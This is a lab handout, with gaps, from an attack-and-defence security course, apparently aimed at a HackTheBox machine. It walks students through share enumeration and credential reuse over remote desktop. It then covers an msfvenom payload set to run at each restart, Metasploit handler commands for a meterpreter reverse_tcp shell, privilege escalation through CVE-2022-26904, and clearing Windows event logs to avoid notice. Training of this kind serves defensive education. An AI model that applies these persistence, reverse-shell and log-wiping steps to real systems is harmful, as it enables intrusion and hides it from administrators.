P14 - Maintaining Access N Covering Tracks v7
P14 - Maintaining Access N Covering Tracks v7
UNCONTROLLED
COPY
Overview
Objectives
The objective of this lab is to help students gain understanding to the phases of
hacking to formulate effective defensive strategy against intrusion.
Reference:
www.kali.org
www.nmap.org
www.metasploit.com
Page 1 of 5
Cyber Security Attack & Defence
Let’s start off by checking out what ports are open on this target.
3. Run a command that you have learnt previously to list out the available shares
anonymously.
Record down the command that would give you that information.
4. From what you have gathered from the shares, there is one that looks bare, at least to
me.
6. Okay, let’s just assume you got into it the correct share by now. We notice some kind of
user ID and password. Now download the file into your Kali and check it out.
7. There was one other exciting port that we found in Q1. Let’s try that out with the
credentials we found that allows remote desktop connections.
Page 2 of 5
Cyber Security Attack & Defence
After gaining access to a system, it is a good idea to maintain access to the system so that the
compromised system can be used for further examination or even used as a pivot to attack other
machines in the network.
Alright, here we will summon our knowledge of our favorite tool. The MSFVENOM.
1. But first, we need to answer a few critical questions about our target VM that we need to
create our MSFVENOM file.
Operating System
System Type (x86/x64)
2. Now that we have this information, I’m sure you can create your own MSFVENOM on your Attacker
machine.
note: there is no x86 input option, just leave it blank if for some reasons you manage to assume
the victim is a x86 machine.
4. Propose a comfortable place that you can put this <whateverfilenameyouwant>.exe into and
how it can be run each time the victim restarts the machine.
5. Now that we have settled all that, let’s enable a listener working on the Attacker machine before
you execute the <whateverfilenameyouwant>.exe.
• msfconsole
• use exploit/multi/handler
• set payload <operating system>/<type>/meterpreter/reverse_tcp
• set LHOST tun0
• set LPORT 4444
• run
6. Now you can run the <whateverfilenameyouwant>.exe from the victim machine.
7. With some luck and maybe some expertise of yours, the victim should be executing your
executable file every time the machine restarts or when the user logs in. You can manually
trigger a restart on this HTB to see if it automatically executes it and comes back to your
listener.
Page 3 of 5
Cyber Security Attack & Defence
8. After some checking on the victim machine, you find out the Windows 11 build is 21H2. With some
quick research on Windows 11 build 21H2, you found out 21H2 build is affected by CVE-2022-
26904.
9. Without any hesitation and questions, you proceed with the following steps:
11. Once you get a shell, type getuid and you should see that you are now running on a SYSTEM
account.
At this point, you have successfully escalated your privileges on the victim machine.
Page 4 of 5
Cyber Security Attack & Defence
2. Search for the Event Viewer on the victim machine → Select Windows Logs →
Application.
3. Here you can see a bunch of logs, with errors… that could raise some
suspicions… let’s just try to clear them up so no one notices the errors.
This is the end of the lab. However, do think about how empty event logs could
also raise suspicions from more experienced administrators.
~~ ** The End ** ~~
Page 5 of 5